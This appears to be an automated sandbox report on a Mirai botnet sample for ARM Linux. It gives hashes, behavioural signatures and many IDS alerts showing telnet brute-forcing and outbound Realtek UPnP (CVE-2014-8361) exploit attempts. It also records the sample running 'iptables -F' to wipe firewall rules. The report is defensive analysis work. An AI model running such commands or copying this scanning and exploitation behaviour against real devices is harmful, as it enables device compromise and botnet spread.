Linux Analysis Report arm7

Overview

General Information

Sample Name:	arm7
Analysis ID:	519695
MD5:	9fc0975479e319f970c96eded3c2d001
SHA1:	ff77399d8fb757636a3eae4909dbc33f4a00f09e
SHA256:	f0c7eb51c588fa50e39bee022ea2c4f602842012b01f2ee025b91eb5eb50782f
Tags:	Mirai
Infos:
Most interesting Screenshot:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Mirai

Multi AV Scanner detection for submitted file

Sample tries to kill many processes (SIGKILL)

Deletes all firewall rules

Connects to many ports of the same IP (likely port scanning)

Sample deletes itself

Sample is packed with UPX

Uses known network protocols on non-standard ports

Deletes security-related log files

Sample reads /proc/mounts (often used for finding a writable filesystem)

Executes the "kill" or "pkill" command typically used to terminate processes

Sample contains only a LOAD segment without any section mappings

Reads CPU information from /sys indicative of miner or evasive malware

Yara signature match

Executes the "grep" command used to find patterns in files or piped streams

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Deletes log files

Creates hidden files and/or directories

Executes the "iptables" command used for managing IP filtering and manipulation

Sample tries to set the executable flag

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Executes the "rm" command used to delete files or directories

Classification

Signatures

AV Detection:

Multi AV Scanner detection for submitted file

Source: arm7

ReversingLabs: Detection: 22%

Bitcoin Miner:

Reads CPU information from /sys indicative of miner or evasive malware

Source: /usr/bin/pkill (PID: 5284)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5289)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pulseaudio (PID: 5403)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5446)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5568)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 716 INFO TELNET access 43.230.20.243:23 -> 192.168.2.23:53370
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 65.61.91.118:23 -> 192.168.2.23:56886
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 65.61.91.118:23 -> 192.168.2.23:56886
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 123.21.111.201:23 -> 192.168.2.23:49798
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 123.21.111.201:23 -> 192.168.2.23:49798
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 123.21.111.201:23 -> 192.168.2.23:50074
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 123.21.111.201:23 -> 192.168.2.23:50074
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:50996 -> 156.224.178.167:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:41418 -> 156.224.165.13:52869
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52732
Source: Traffic	Snort IDS: 2027973 ET EXPLOIT HiSilicon DVR - Default Telnet Root Password Inbound 192.168.2.23:57200 -> 203.251.92.20:23
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52756
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:58178 -> 156.247.29.227:52869
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 123.20.222.131:23 -> 192.168.2.23:36414
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 123.20.222.131:23 -> 192.168.2.23:36414
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52794
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52834
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:33754 -> 156.238.44.215:52869
Source: Traffic	Snort IDS: 404 ICMP Destination Unreachable Protocol Unreachable 217.78.28.18: -> 192.168.2.23:
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52860
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52882
Source: Traffic	Snort IDS: 716 INFO TELNET access 43.230.20.243:23 -> 192.168.2.23:53864
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52926
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52970
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52990
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 43.230.20.243:23 -> 192.168.2.23:53864
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.167.223.246:23 -> 192.168.2.23:38986
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53030
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 123.21.111.201:23 -> 192.168.2.23:50264
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 123.21.111.201:23 -> 192.168.2.23:50264
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53060
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 43.231.52.137:23 -> 192.168.2.23:37176
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 43.231.52.137:23 -> 192.168.2.23:37176
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53076
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53098
Source: Traffic	Snort IDS: 716 INFO TELNET access 43.230.20.243:23 -> 192.168.2.23:54094
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 124.167.223.246:23 -> 192.168.2.23:38986
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53172
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 65.61.91.118:23 -> 192.168.2.23:57594
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 65.61.91.118:23 -> 192.168.2.23:57594
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 171.119.28.35:23 -> 192.168.2.23:36956
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53198
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 43.230.20.243:23 -> 192.168.2.23:54094
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53220
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.167.223.246:23 -> 192.168.2.23:39202
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53254
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53284
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53304
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 171.119.28.35:23 -> 192.168.2.23:37122
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53322
Source: Traffic	Snort IDS: 716 INFO TELNET access 43.230.20.243:23 -> 192.168.2.23:54306
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:50834 -> 156.224.169.192:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:48656 -> 156.224.166.208:52869
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 124.167.223.246:23 -> 192.168.2.23:39202
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53354
Source: Traffic	Snort IDS: 716 INFO TELNET access 47.242.189.91:23 -> 192.168.2.23:41110
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53372
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 43.231.52.137:23 -> 192.168.2.23:37500
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 43.231.52.137:23 -> 192.168.2.23:37500
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 43.230.20.243:23 -> 192.168.2.23:54306
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53394
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 47.242.189.91:23 -> 192.168.2.23:41110
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 95.71.70.178:23 -> 192.168.2.23:52616
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 95.71.70.178:23 -> 192.168.2.23:52616
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.167.223.246:23 -> 192.168.2.23:39368
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53410
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:55330 -> 156.241.13.128:52869
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53426
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:56096 -> 156.226.12.36:52869
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53448
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 123.21.111.201:23 -> 192.168.2.23:50788
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 123.21.111.201:23 -> 192.168.2.23:50788
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 171.119.28.35:23 -> 192.168.2.23:37268
Source: Traffic	Snort IDS: 716 INFO TELNET access 43.230.20.243:23 -> 192.168.2.23:54450
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53472
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 124.167.223.246:23 -> 192.168.2.23:39368
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53502
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:55584 -> 156.240.106.64:52869
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 43.230.20.243:23 -> 192.168.2.23:54450
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.167.223.246:23 -> 192.168.2.23:39580
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:41586 -> 156.232.95.208:52869
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 95.71.70.178:23 -> 192.168.2.23:52836
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 95.71.70.178:23 -> 192.168.2.23:52836
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 43.231.52.137:23 -> 192.168.2.23:37754
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 43.231.52.137:23 -> 192.168.2.23:37754
Source: Traffic	Snort IDS: 716 INFO TELNET access 43.230.20.243:23 -> 192.168.2.23:54708
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 124.167.223.246:23 -> 192.168.2.23:39580
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:34132 -> 156.224.191.36:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:35096 -> 156.232.92.226:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:41234 -> 156.224.153.31:52869
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 43.230.20.243:23 -> 192.168.2.23:54708
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 171.119.28.35:23 -> 192.168.2.23:37598
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.167.223.246:23 -> 192.168.2.23:39768
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 209.204.37.7:23 -> 192.168.2.23:57376
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 209.204.37.7:23 -> 192.168.2.23:57376
Source: Traffic	Snort IDS: 716 INFO TELNET access 43.230.20.243:23 -> 192.168.2.23:54834
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:43156 -> 156.224.169.218:52869
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 124.167.223.246:23 -> 192.168.2.23:39768
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 171.119.28.35:23 -> 192.168.2.23:37692
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 95.71.70.178:23 -> 192.168.2.23:53112
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 95.71.70.178:23 -> 192.168.2.23:53112
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 43.230.20.243:23 -> 192.168.2.23:54834
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 43.231.52.137:23 -> 192.168.2.23:38056
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 43.231.52.137:23 -> 192.168.2.23:38056
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 123.20.222.131:23 -> 192.168.2.23:37536
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 123.20.222.131:23 -> 192.168.2.23:37536
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.167.223.246:23 -> 192.168.2.23:39894
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 123.21.111.201:23 -> 192.168.2.23:51250
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 123.21.111.201:23 -> 192.168.2.23:51250
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 218.173.79.111:23 -> 192.168.2.23:49508
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 218.173.79.111:23 -> 192.168.2.23:49508
Source: Traffic	Snort IDS: 716 INFO TELNET access 217.35.87.169:23 -> 192.168.2.23:49056
Source: Traffic	Snort IDS: 716 INFO TELNET access 43.230.20.243:23 -> 192.168.2.23:54968
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:37348 -> 156.241.9.20:52869
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 65.61.91.118:23 -> 192.168.2.23:58492
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 65.61.91.118:23 -> 192.168.2.23:58492
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 43.230.20.243:23 -> 192.168.2.23:54968
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 95.71.70.178:23 -> 192.168.2.23:53310
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 95.71.70.178:23 -> 192.168.2.23:53310

Deletes all firewall rules

Source: /bin/sh (PID: 5277)

Args: iptables -F

Jump to behavior

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 41.133.193.5 ports 1,2,3,5,7,52869
Source: global traffic	TCP traffic: 197.148.92.15 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41418 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33754 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40188
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40202
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40220
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40240
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40256
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40268
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40272
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40276
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40288
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40304
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40326
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40334
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40344
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40354
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40360
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40370
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40376
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40378
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40392
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40422
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40458
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40478
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40486
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40496
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40502
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40506
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40522
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40530
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43156 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 59190
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56526
Source: unknown	Network traffic detected: HTTP traffic on port 37348 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56542
Source: unknown	Network traffic detected: HTTP traffic on port 51328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56554
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56570
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56582
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56594
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56612
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56622
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56628
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
